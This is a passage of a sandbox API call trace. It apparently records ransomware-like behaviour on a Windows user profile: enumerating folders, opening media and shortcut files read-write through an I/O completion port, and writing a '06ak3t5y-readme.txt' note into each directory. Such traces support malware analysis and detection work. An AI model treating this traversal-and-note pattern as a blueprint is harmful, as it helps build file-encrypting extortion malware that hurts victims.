ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0111.263] PathFindExtensionW (pszPath="msn sports.url") returned=".url" [0111.263] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e7d0 [0111.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x320 [0111.297] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367ac60 [0111.299] CreateIoCompletionPort (FileHandle=0x320, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.299] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397e7d0) returned 1 [0111.299] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0111.299] PathFindExtensionW (pszPath="msn.url") returned=".url" [0111.299] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e9b0 [0111.299] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x338 [0111.335] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x6c) returned 0x30ee5a8 [0111.336] CreateIoCompletionPort (FileHandle=0x338, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.336] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397e9b0) returned 1 [0111.336] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0111.336] PathFindExtensionW (pszPath="msnbc news.url") returned=".url" [0111.336] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397eb90 [0111.336] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x334 [0111.336] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367ace8 [0111.338] CreateIoCompletionPort (FileHandle=0x334, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.338] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397eb90) returned 1 [0111.338] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="msnbc news.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0111.338] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086640) returned 1 [0111.338] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0111.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.338] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.338] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe0c0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ffe0c0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ffe0c0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.338] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0111.338] PathFindExtensionW (pszPath="get windows live.url") returned=".url" [0111.338] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397ed70 [0111.338] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x330 [0111.339] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x86) returned 0x30a9990 [0111.340] CreateIoCompletionPort (FileHandle=0x330, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.340] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397ed70) returned 1 [0111.340] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79992090, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0111.340] PathFindExtensionW (pszPath="windows live gallery.url") returned=".url" [0111.340] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397ef50 [0111.340] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x33c [0111.347] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8e) returned 0x2078330 [0111.349] CreateIoCompletionPort (FileHandle=0x33c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.349] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397ef50) returned 1 [0111.349] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0111.349] PathFindExtensionW (pszPath="windows live mail.url") returned=".url" [0111.349] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397f130 [0111.350] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x344 [0111.355] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x30a9a20 [0111.357] CreateIoCompletionPort (FileHandle=0x344, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.357] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397f130) returned 1 [0111.357] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0111.357] PathFindExtensionW (pszPath="windows live spaces.url") returned=".url" [0111.357] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397f310 [0111.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\keecfmwgj\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x348 [0111.360] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8c) returned 0x20783c8 [0111.362] CreateIoCompletionPort (FileHandle=0x348, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.362] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x397f310) returned 1 [0111.362] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee70990, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="windows live spaces.url", cAlternateFileName="WINDOW~1.URL")) returned 0 [0111.362] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.362] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068820) returned 1 [0111.362] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402f0) returned 1 [0111.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ac9be50, ftCreationTime.dwHighDateTime=0x1d7548e, ftLastAccessTime.dwLowDateTime=0x4016760, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4016760, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.363] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ac9be50, ftCreationTime.dwHighDateTime=0x1d7548e, ftLastAccessTime.dwLowDateTime=0x4016760, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4016760, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.363] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4016760, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x4016760, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x401b580, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.363] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe131300, ftCreationTime.dwHighDateTime=0x1d75a52, ftLastAccessTime.dwLowDateTime=0x74376bc0, ftLastAccessTime.dwHighDateTime=0x1d75b1c, ftLastWriteTime.dwLowDateTime=0x74376bc0, ftLastWriteTime.dwHighDateTime=0x1d75b1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="aIGqygXdyMjy5o", cAlternateFileName="AIGQYG~1")) returned 1 [0111.363] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402f0 [0111.363] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x84) returned 0x30a9ab0 [0111.363] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xaa) returned 0x3686ad0 [0111.363] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.363] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686ad0) returned 1 [0111.364] WriteFile (in: hFile=0x32c, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.364] CloseHandle (hObject=0x32c) returned 1 [0111.365] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4cb2740, ftCreationTime.dwHighDateTime=0x1d74f0f, ftLastAccessTime.dwLowDateTime=0x12b09130, ftLastAccessTime.dwHighDateTime=0x1d75c41, ftLastWriteTime.dwLowDateTime=0x12b09130, ftLastWriteTime.dwHighDateTime=0x1d75c41, nFileSizeHigh=0x0, nFileSizeLow=0x18f84, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="bjOydzw.mp3", cAlternateFileName="")) returned 1 [0111.365] PathFindExtensionW (pszPath="bjoydzw.mp3") returned=".mp3" [0111.365] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x190d4) returned 0x3925530 [0111.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\bjOydzw.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\bjoydzw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x32c [0111.367] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7c) returned 0x367ad70 [0111.369] CreateIoCompletionPort (FileHandle=0x32c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.369] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3925530) returned 1 [0111.369] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bba4b0, ftCreationTime.dwHighDateTime=0x1d7502f, ftLastAccessTime.dwLowDateTime=0x35a337c0, ftLastAccessTime.dwHighDateTime=0x1d75a33, ftLastWriteTime.dwLowDateTime=0x35a337c0, ftLastWriteTime.dwHighDateTime=0x1d75a33, nFileSizeHigh=0x0, nFileSizeLow=0x11878, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="oCfLIu3p.mp3", cAlternateFileName="")) returned 1 [0111.369] PathFindExtensionW (pszPath="ocfliu3p.mp3") returned=".mp3" [0111.369] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x119c8) returned 0x393e610 [0111.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\oCfLIu3p.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ocfliu3p.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x328 [0111.370] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7e) returned 0x367adf8 [0111.373] CreateIoCompletionPort (FileHandle=0x328, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.373] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x393e610) returned 1 [0111.373] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe06651e0, ftCreationTime.dwHighDateTime=0x1d75bb1, ftLastAccessTime.dwLowDateTime=0xe1780290, ftLastAccessTime.dwHighDateTime=0x1d75cba, ftLastWriteTime.dwLowDateTime=0xe1780290, ftLastWriteTime.dwHighDateTime=0x1d75cba, nFileSizeHigh=0x0, nFileSizeLow=0x142de, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="rPi6ROENBl.mp3", cAlternateFileName="RPI6RO~1.MP3")) returned 1 [0111.373] PathFindExtensionW (pszPath="rpi6roenbl.mp3") returned=".mp3" [0111.373] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1442e) returned 0x394ffe0 [0111.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\rPi6ROENBl.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\rpi6roenbl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x318 [0111.374] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9b40 [0111.375] CreateIoCompletionPort (FileHandle=0x318, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.375] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x394ffe0) returned 1 [0111.375] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fee9f10, ftCreationTime.dwHighDateTime=0x1d75179, ftLastAccessTime.dwLowDateTime=0x39e23df0, ftLastAccessTime.dwHighDateTime=0x1d75b18, ftLastWriteTime.dwLowDateTime=0x39e23df0, ftLastWriteTime.dwHighDateTime=0x1d75b18, nFileSizeHigh=0x0, nFileSizeLow=0x13b2e, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="SsOycCq2y.wav", cAlternateFileName="SSOYCC~1.WAV")) returned 1 [0111.375] PathFindExtensionW (pszPath="ssoyccq2y.wav") returned=".wav" [0111.375] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x13c7e) returned 0x3964418 [0111.376] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\SsOycCq2y.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\ssoyccq2y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x314 [0111.376] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367ae80 [0111.377] CreateIoCompletionPort (FileHandle=0x314, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.377] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3964418) returned 1 [0111.377] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70d58be0, ftCreationTime.dwHighDateTime=0x1d752f4, ftLastAccessTime.dwLowDateTime=0x97599960, ftLastAccessTime.dwHighDateTime=0x1d75cd5, ftLastWriteTime.dwLowDateTime=0x97599960, ftLastWriteTime.dwHighDateTime=0x1d75cd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="UwFu6S-3RSOj8", cAlternateFileName="UWFU6S~1")) returned 1 [0111.377] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400a0 [0111.377] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9bd0 [0111.377] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa8) returned 0x36788a8 [0111.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0111.378] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x36788a8) returned 1 [0111.378] WriteFile (in: hFile=0x310, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.378] CloseHandle (hObject=0x310) returned 1 [0111.379] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb14990, ftCreationTime.dwHighDateTime=0x1d75751, ftLastAccessTime.dwLowDateTime=0xa97b69b0, ftLastAccessTime.dwHighDateTime=0x1d75b14, ftLastWriteTime.dwLowDateTime=0xa97b69b0, ftLastWriteTime.dwHighDateTime=0x1d75b14, nFileSizeHigh=0x0, nFileSizeLow=0x16c2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="z-ZcHxTcO3xPAhZK.wav", cAlternateFileName="Z-ZCHX~1.WAV")) returned 1 [0111.379] PathFindExtensionW (pszPath="z-zchxtco3xpahzk.wav") returned=".wav" [0111.379] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1812) returned 0x4797540 [0111.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\z-ZcHxTcO3xPAhZK.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\z-zchxtco3xpahzk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x310 